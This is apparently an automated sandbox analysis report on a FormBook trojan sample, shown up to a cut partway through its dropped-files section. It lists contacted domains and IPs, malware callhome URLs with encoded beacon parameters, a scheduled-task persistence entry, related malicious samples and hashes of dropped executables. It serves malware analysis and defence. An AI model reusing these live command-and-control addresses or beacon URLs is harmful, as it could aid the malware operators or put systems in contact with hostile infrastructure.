                                https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkincompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.leadchanges.infohCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3723441735.000000000519A000.00000040.80000000.00040000.00000000.sdmpfalse
                                • Sophos S4: malware repository domain
                                • Avira URL Cloud: safe
                                		unknown
                                https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pacompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwebcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMcompact.exe, 0000001A.00000002.3721935627.0000000004636000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003276000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.1921583639.000000000E196000.00000004.80000000.00040000.00000000.sdmpfalse
                                • Sophos S4: malware callhome domain
                                • Avira URL Cloud: safe
                                		unknown

                                World Map of Contacted IPs

                                • No. of IPs < 25%
                                • 25% < No. of IPs < 50%
                                • 50% < No. of IPs < 75%
                                • 75% < No. of IPs

                                Public IPs

                                IPDomainCountryFlagASNASN NameMalicious
                                194.9.94.86
                                		www.torentreprenad.comSweden
                                		39570LOOPIASEfalse
                                185.137.235.103
                                		www.klimkina.proRussian Federation
                                		49505SELECTELRUfalse
                                162.0.213.94
                                		www.lenovest.xyzCanada
                                		35893ACPCAtrue
                                15.204.0.108
                                		srripaspocon.orgUnited States
                                		71HP-INTERNET-ASUSfalse
                                35.214.235.206
                                		www.grecanici.comUnited States
                                		19527GOOGLE-2USfalse
                                18.178.206.118
                                		www.93v0.comUnited States
                                		16509AMAZON-02USfalse
                                195.35.39.119
                                		futuregainers.netGermany
                                		8359MTSRUfalse
                                172.82.177.221
                                		www.931951.comUnited States
                                		46261QUICKPACKETUSfalse
                                66.96.162.149
                                		www.leadchanges.infoUnited States
                                		29873BIZLAND-SDUSfalse
                                64.46.118.35
                                		shahaf3d.comUnited States
                                		32475SINGLEHOP-LLCUStrue
                                13.228.81.39
                                		dns.ladipage.comUnited States
                                		16509AMAZON-02USfalse
                                2.56.245.142
                                		unknownGermany
                                		395800GBTCLOUDUSfalse
                                162.241.2.254
                                		shopnow321.onlineUnited States
                                		26337OIS1USfalse

                                General Information

                                Joe Sandbox version:40.0.0 Tourmaline
                                Analysis ID:1452507
                                Start date and time:2024-06-05 18:25:12 +02:00
                                Joe Sandbox product:CloudBasic
                                Overall analysis duration:0h 13m 47s
                                Hypervisor based Inspection enabled:false
                                Report type:full
                                Cookbook file name:default.jbs
                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                Number of analysed new started processes analysed:39
                                Number of new started drivers analysed:0
                                Number of existing processes analysed:0
                                Number of existing drivers analysed:0
                                Number of injected processes analysed:2
                                Technologies:
                                • HCA enabled
                                • EGA enabled
                                • AMSI enabled
                                Analysis Mode:default
                                Analysis stop reason:Timeout
                                Sample name:P1 HWT623ATG.bat.exe
                                Detection:MAL
                                Classification:mal100.troj.spyw.evad.winEXE@32/36@18/13
                                EGA Information:
                                • Successful, ratio: 100%
                                HCA Information:
                                • Successful, ratio: 93%
                                • Number of executed functions: 208
                                • Number of non-executed functions: 269
                                Cookbook Comments:
                                • Found application associated with file extension: .exe
                                • Override analysis time to 240000 for current running targets taking high CPU consumption

                                Warnings

                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
                                • Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                • HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                • Not all processes where analyzed, report is missing behavior information
                                • Report creation exceeded maximum time and may have missing disassembly code information.
                                • Report size exceeded maximum capacity and may have missing behavior information.
                                • Report size exceeded maximum capacity and may have missing disassembly code.
                                • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                • Report size getting too big, too many NtCreateKey calls found.
                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                • Report size getting too big, too many NtQueryValueKey calls found.
                                • VT rate limit hit for: P1 HWT623ATG.bat.exe

                                Simulations

                                Behavior and APIs

                                TimeTypeDescription
                                12:26:08API Interceptor2x Sleep call for process: P1 HWT623ATG.bat.exe modified
                                12:26:10API Interceptor81x Sleep call for process: powershell.exe modified
                                12:26:14API Interceptor2x Sleep call for process: GnVIdcfKFYG.exe modified
                                14:02:55API Interceptor8331895x Sleep call for process: compact.exe modified
                                18:26:10Task SchedulerRun new task: GnVIdcfKFYG path: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe

                                Joe Sandbox View / Context

                                IPs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                194.9.94.86BASF Purchase Order.docGet hashmaliciousFormBookBrowse
                                • www.xn--matfrmn-jxa4m.se/ufuh/
                                TT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • www.torentreprenad.com/r45o/
                                Doc PI.docGet hashmaliciousFormBookBrowse
                                • www.xn--matfrmn-jxa4m.se/ufuh/
                                Beauty_Stem_Invoice.docGet hashmaliciousFormBookBrowse
                                • www.xn--matfrmn-jxa4m.se/ufuh/
                                MOQ010524Purchase order.docGet hashmaliciousFormBookBrowse
                                • www.xn--matfrmn-jxa4m.se/ufuh/
                                SalinaGroup.docGet hashmaliciousFormBookBrowse
                                • www.xn--matfrmn-jxa4m.se/ufuh/
                                PAY-0129.exeGet hashmaliciousFormBookBrowse
                                • www.torentreprenad.com/s2u9/?7H=mTJ4yhH&qHaT0h=5U7DALWrxqzr56VTS66DkMzivwb8eJw+QuQWKosT9GGOOJNmCsoJdRf2YtOKiYr885RpspfnWz9oIB8tKqH0jqi0U2E5YHFFFQ==
                                DHL_SOA_1004404989.exeGet hashmaliciousFormBookBrowse
                                • www.torentreprenad.com/s2u9/?j8j=6NzlX4xHmtqH&rR=5U7DALWrxqzr56VMLK7KnfayygnCZIw+QuQWKosT9GGOOJNmCsoJdRf2YtOKiYr885RpspfnWz9oIB8tKqH3pN+aCUsxPyV8FA==
                                Scan00516.jsGet hashmaliciousFormBook, MailPassView, WSHRATBrowse
                                • www.acre-com.com/me15/?i8O=bxl0&VPudI=AMxDUnLLexuTfXRuHqoxzPfeXrfBw2lKu15RcCpXpuJEBCulcUbatn2YVJ6xbnCfmbZZ
                                SHIPPINGDOCUMENTS.25.23.exeGet hashmaliciousFormBookBrowse
                                • www.udda.app/ga36/?-Zk4Ah=uKy05ssFXwD7lx+pwOkpcz0JYvvlr0Fm4k7Q090T/1T8NUAbWqhr3VP8iMZHhaUYUaRp&-ZVd=5jo8nLy8
                                185.137.235.103Revised Quotation.bat.exeGet hashmaliciousFormBookBrowse
                                • www.klimkina.pro/4mpz/
                                Payment_status.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                • www.olgache.xyz/m02u/?v48TJHe8=SFlVzogYIMMdTUANsOTzLx46vQlpDm+tJbna1I/IgT07XpqoSAWoIZuH7ImWMSbJQArO&3f=WZgho
                                shipping docs.exeGet hashmaliciousFormBookBrowse
                                • www.profitcase.pro/a8hq/?6lE0=9F4kVHS28g6fbFW6n39DNxIRl6vPALkU9WDIT8w272an5pruXeDeVGVGg1ETeAD2z5Ub&b62tHj=TpTp
                                162.0.213.94R00634789001126789_PDF0863.exeGet hashmaliciousFormBookBrowse
                                • www.chinchap.xyz/e3og/
                                aertrh.exeGet hashmaliciousFormBookBrowse
                                • www.princestun.xyz/n5mw/?mXnt=NtfoMqxWvboNlKrVgjDi+u5ev237R5YpK2NVcn2/0I1oKqymTxIT6zJKN0ZuwJhX9ergv3TNlgjObhSZFizOYVaTR9ZKjKfRg67oZl8/i6Dn1xcrvY8lwbY=&bbtD=v8Pp0x
                                TT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • www.lenovest.xyz/e20q/
                                RB_VAC_1.EXE.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                • www.chinchap.xyz/t3ue/
                                Petro Masila 105321.exeGet hashmaliciousFormBookBrowse
                                • www.princestun.xyz/4vs4/
                                PO 027371.exeGet hashmaliciousFormBookBrowse
                                • www.princestun.xyz/4vs4/
                                PAY-0129.exeGet hashmaliciousFormBookBrowse
                                • www.chinchap.xyz/s2u9/?qHaT0h=GFiZ4lzykiAkjkYMX1AQruBBlY+JDhm2S0U6V9QE9B/raPoqdxrfdCyyq11B5B9NKxpsF80MvpZc2ueHLfrhP12RIFzpRyMC6A==&7H=mTJ4yhH
                                PgbcaAGOnA.exeGet hashmaliciousFormBookBrowse
                                • www.rigintech.info/q0a9/?1Prd=ibILxh&_LslrNA=P4xybVgLtrThJ7/gdzCFLLBMT5Dy4XS78bWftXfkNvSW5cUDpuLBoMx4Gi0YHaiBE8JTg9kp6HCWmyr4mdTAqsuW8pT+mZB8igPIsbzksFX8
                                YPtC8uu6px.exeGet hashmaliciousFormBook, NSISDropperBrowse
                                • www.princestun.xyz/e0ff/?XTw0=ihiX7ruHB4&KRlDHViH=65CIsjiLW3AuUNF9No8Nxn1HOiflu6ZRYLpFciFRuT0aLHZsl2anrsvCkzc5RC4M17iTdgnxPrkoiI97b8zRxzU7NJvigTQfVA==
                                Kopje_e_pageses_bankare.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                • www.gadpuch.website/6qne/

                                Domains

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                www.931951.comTT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • 172.82.177.221
                                www.klimkina.proTT Slip.pif.exeGet hashmaliciousFormBookBrowse
                                • 185.137.235.193
                                Revised Quotation.bat.exeGet hashmaliciousFormBookBrowse
                                • 185.137.235.103
                                TT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • 185.137.235.125
                                www.93v0.comTT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • 18.178.206.118
                                Swift_Copy.exeGet hashmaliciousFormBookBrowse
                                • 18.178.206.118
                                dns.ladipage.comTT Slip.pif.exeGet hashmaliciousFormBookBrowse
                                • 54.179.173.60
                                Revised Quotation.bat.exeGet hashmaliciousFormBookBrowse
                                • 13.228.81.39
                                TT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • 54.179.173.60
                                BL4567GH67_xls.exeGet hashmaliciousFormBookBrowse
                                • 54.179.173.60
                                Scan Document Copy_docx.exeGet hashmaliciousFormBookBrowse
                                • 13.228.81.39
                                ungziped_file.exeGet hashmaliciousFormBookBrowse
                                • 13.228.81.39
                                SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                • 18.139.62.226
                                inquiry.exeGet hashmaliciousFormBookBrowse
                                • 13.228.81.39
                                purchase order 8MCE15.scr.exeGet hashmaliciousFormBookBrowse
                                • 18.141.244.39
                                SecuriteInfo.com.Heur.21813.17790.exeGet hashmaliciousFormBookBrowse
                                • 18.140.75.249
                                www.lenovest.xyzTT Slip.pif.exeGet hashmaliciousFormBookBrowse
                                • 162.0.213.94
                                Revised Quotation.bat.exeGet hashmaliciousFormBookBrowse
                                • 162.0.213.94
                                TT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • 162.0.213.94
                                dhl-shipment4820911.exeGet hashmaliciousFormBookBrowse
                                • 162.0.213.94

                                ASNs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                HP-INTERNET-ASUShttps://www.notism.io/-/716602fa429d680becc7a0edbGet hashmaliciousUnknownBrowse
                                • 15.235.54.6
                                TT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • 15.204.0.108
                                original.emlGet hashmaliciousUnknownBrowse
                                • 15.235.42.36
                                http://sjhjbrgehkbhsbvdkshahhhhkjtj.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                                • 15.156.209.62
                                SecuriteInfo.com.Win32.TrojanX-gen.9663.10822.exeGet hashmaliciousXmrigBrowse
                                • 15.235.212.91
                                file.exeGet hashmaliciousSystemBCBrowse
                                • 15.204.207.249
                                A2G6pO40qG.exeGet hashmaliciousCMSBruteBrowse
                                • 15.204.58.11
                                http://info.ipreo.com/Privacy-Policy.htmlGet hashmaliciousUnknownBrowse
                                • 15.235.15.221
                                file.exeGet hashmaliciousFormBookBrowse
                                • 15.235.86.83
                                datFGBhnqF.elfGet hashmaliciousMiraiBrowse
                                • 16.143.3.138
                                LOOPIASEBASF Purchase Order.docGet hashmaliciousFormBookBrowse
                                • 194.9.94.86
                                TT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • 194.9.94.86
                                SecuriteInfo.com.Win32.PWSX-gen.24627.22980.exeGet hashmaliciousFormBookBrowse
                                • 194.9.94.85
                                product Inquiry and RFQ ART LTD.docGet hashmaliciousFormBookBrowse
                                • 194.9.94.85
                                COMMANDE.EXE.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                • 194.9.94.85
                                New Order.docGet hashmaliciousFormBookBrowse
                                • 194.9.94.85
                                GXu0Ow8T1h.exeGet hashmaliciousFormBookBrowse
                                • 194.9.94.85
                                GcwoApxt8q.exeGet hashmaliciousFormBookBrowse
                                • 194.9.94.85
                                Doc PI.docGet hashmaliciousFormBookBrowse
                                • 194.9.94.86
                                opszx.scr.exeGet hashmaliciousFormBookBrowse
                                • 194.9.94.85
                                ACPCApFvpxWS2lD.exeGet hashmaliciousFormBookBrowse
                                • 162.0.213.72
                                rShippingDocuments.exeGet hashmaliciousFormBookBrowse
                                • 162.0.213.72
                                R00634789001126789_PDF0863.exeGet hashmaliciousFormBookBrowse
                                • 162.0.213.94
                                IiGs0DhviK.exeGet hashmaliciousDarkCloudBrowse
                                • 162.55.60.2
                                JiUm2xQj3e.elfGet hashmaliciousMiraiBrowse
                                • 162.60.248.104
                                Etisalat Summary Bill for the Month of May.exeGet hashmaliciousFormBookBrowse
                                • 162.55.83.181
                                vtIgsP95Bm.exeGet hashmaliciousFormBook, GuLoader, LummaC StealerBrowse
                                • 162.0.222.196
                                Shift - Recipes_spn7g.exeGet hashmaliciousUnknownBrowse
                                • 162.55.95.177
                                aertrh.exeGet hashmaliciousFormBookBrowse
                                • 162.0.213.94
                                Purchase Order for PCO1881 - PO-24241000210.Pdf.exeGet hashmaliciousDarkCloudBrowse
                                • 162.55.60.2
                                SELECTELRUhttp://denverrescuemission.orgGet hashmaliciousUnknownBrowse
                                • 84.38.182.217
                                http://denverrescuemission.orgGet hashmaliciousUnknownBrowse
                                • 84.38.182.217
                                TT Slip.pif.exeGet hashmaliciousFormBookBrowse
                                • 185.137.235.193
                                Revised Quotation.bat.exeGet hashmaliciousFormBookBrowse
                                • 185.137.235.103
                                TT-Slip.bat.exeGet hashmaliciousFormBookBrowse
                                • 185.137.235.125
                                https://marvin-occentus.netGet hashmaliciousUnknownBrowse
                                • 31.184.209.76
                                file.exeGet hashmaliciousBabuk, Djvu, SmokeLoaderBrowse
                                • 31.184.254.98
                                https://deutsche-post-verfolgung.com/Get hashmaliciousUnknownBrowse
                                • 31.184.253.138
                                file.exeGet hashmaliciousSmokeLoaderBrowse
                                • 31.184.254.98
                                http://alphosoft.comGet hashmaliciousUnknownBrowse
                                • 188.68.221.152
                                GOOGLE-2UShttps://rb.gy/m4jpp5#adprosupport@archdigest.comGet hashmaliciousHTMLPhisherBrowse
                                • 35.214.149.91
                                (No subject).emlGet hashmaliciousUnknownBrowse
                                • 35.214.149.91
                                http://denverrescuemission.orgGet hashmaliciousUnknownBrowse
                                • 35.211.178.172
                                https://help-strtrezorio.gitbook.io/Get hashmaliciousUnknownBrowse
                                • 35.214.149.91
                                DPqKF5vqpe.exeGet hashmaliciousLummaC, Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, SystemBCBrowse
                                • 35.211.105.54
                                https://bizfilehub.com/statement-of-information.php?utm_campaign=Segmenteq&utm_source=1323553&utm_medium=1880848Get hashmaliciousUnknownBrowse
                                • 35.215.124.238
                                9hD6o07kwl.exeGet hashmaliciousFormBookBrowse
                                • 35.212.10.247
                                https://www.sordum.org/downloads/?ntfs-drive-protectionGet hashmaliciousUnknownBrowse
                                • 35.208.249.213
                                https://wetransfer.com/downloads/500e7f36ea6ce7e88cbd439526ad9f2e20240603080738/09d4ab8c84f1760fdcaa29af1c10b2c420240603080754/8b8539?trk=TRN_TDL_01&utm_campaign=TRN_TDL_01&utm_medium=email&utm_source=sendgridGet hashmaliciousUnknownBrowse
                                • 35.214.149.91
                                http://telegrum.xyzGet hashmaliciousUnknownBrowse
                                • 35.214.149.91

                                JA3 Fingerprints

                                ⊘No context

                                Dropped Files

                                ⊘No context

                                Created / dropped Files

                                C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GnVIdcfKFYG.exe.log

                                Download File
                                Process:C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):1216
                                Entropy (8bit):5.34331486778365
                                Encrypted:false
                                SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                Malicious:false
                                Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\P1 HWT623ATG.bat.exe.log

                                Download File
                                Process:C:\Users\user\Desktop\P1 HWT623ATG.bat.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):1216
                                Entropy (8bit):5.34331486778365
                                Encrypted:false
                                SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                Malicious:true
                                Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Guzzler[1].exe

                                Download File
                                Process:C:\Windows\SysWOW64\compact.exe
                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                Category:dropped
                                Size (bytes):1561888
                                Entropy (8bit):7.2941254280913554
                                Encrypted:false
                                SSDEEP:24576:vh8J9/TrKYI+HM+Ss/aX7F61JCnhglAFjJCF5dz8moz8d:CJcY1HXSs/aXxSsnqmFjJCF5dQmozq
                                MD5:9468614D3915F76CE938B93A123E9043
                                SHA1:701E2498F724DEDD62DD8589A06DA6B95078C631
                                SHA-256:F4DDAAA1F5E462F067E6B1BFA02C7288568D0954F458C598857CFB1796A0EA5B
                                SHA-512:A225A590E625A33F9A2213EFC16C3436C9E4A8B782B5C9A7847EC733EC820B8A5F793E037889C7D08651A6DEAFE4EE99D7F1D0ADD8FC314B6BC930C2E10E099E
                                Malicious:true
                                Antivirus:
                                • Antivirus: ReversingLabs, Detection: 11%
                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..F..F..F.*....F..G.w.F.*....F..v..F...@..F.Rich.F.........PE..L......].................d...|......k2............@..........................P............@.................................<...........0Q..............8............................................................................................text....b.......d.................. ..`.rdata..J............h..............@..@.data....U...........|..............@....ndata...................................rsrc...0Q.......R..................@..@................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:data
                                Category:modified
                                Size (bytes):8003
                                Entropy (8bit):4.840877972214509
                                Encrypted:false
                                SSDEEP:192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
                                MD5:106D01F562D751E62B702803895E93E0
                                SHA1:CBF19C2392BDFA8C2209F8534616CCA08EE01A92
                                SHA-256:6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
                                SHA-512:81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
                                Malicious:false
                                Preview:PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):2232
                                Entropy (8bit):5.379460230152629
                                Encrypted:false
                                SSDEEP:48:fWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugeC/ZPUyus:fLHyIFKL3IZ2KRH9Oug8s
                                MD5:4DC84D28CF28EAE82806A5390E5721C8
                                SHA1:66B6385EB104A782AD3737F2C302DEC0231ADEA2
                                SHA-256:1B89BFB0F44C267035B5BC9B2A8692FF29440C0FEE71C636B377751DAF6911C0
                                SHA-512:E8F45669D27975B41401419B8438E8F6219AF4D864C46B8E19DC5ECD50BD6CA589BDEEE600A73DDB27F8A8B4FF7318000641B6A59E0A5CDD7BE0C82D969A68DE
                                Malicious:false
                                Preview:@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                C:\Users\user\AppData\Local\Temp\66159w4

                                Download File
                                Process:C:\Windows\SysWOW64\compact.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                Category:dropped
                                Size (bytes):196608
                                Entropy (8bit):1.1215420383712111
                                Encrypted:false
                                SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                Malicious:false
                                Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Temp\Smilet.exe

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                Category:dropped
                                Size (bytes):1561888
                                Entropy (8bit):7.2941254280913554
                                Encrypted:false
                                SSDEEP:24576:vh8J9/TrKYI+HM+Ss/aX7F61JCnhglAFjJCF5dz8moz8d:CJcY1HXSs/aXxSsnqmFjJCF5dQmozq
                                MD5:9468614D3915F76CE938B93A123E9043
                                SHA1:701E2498F724DEDD62DD8589A06DA6B95078C631
                                SHA-256:F4DDAAA1F5E462F067E6B1BFA02C7288568D0954F458C598857CFB1796A0EA5B
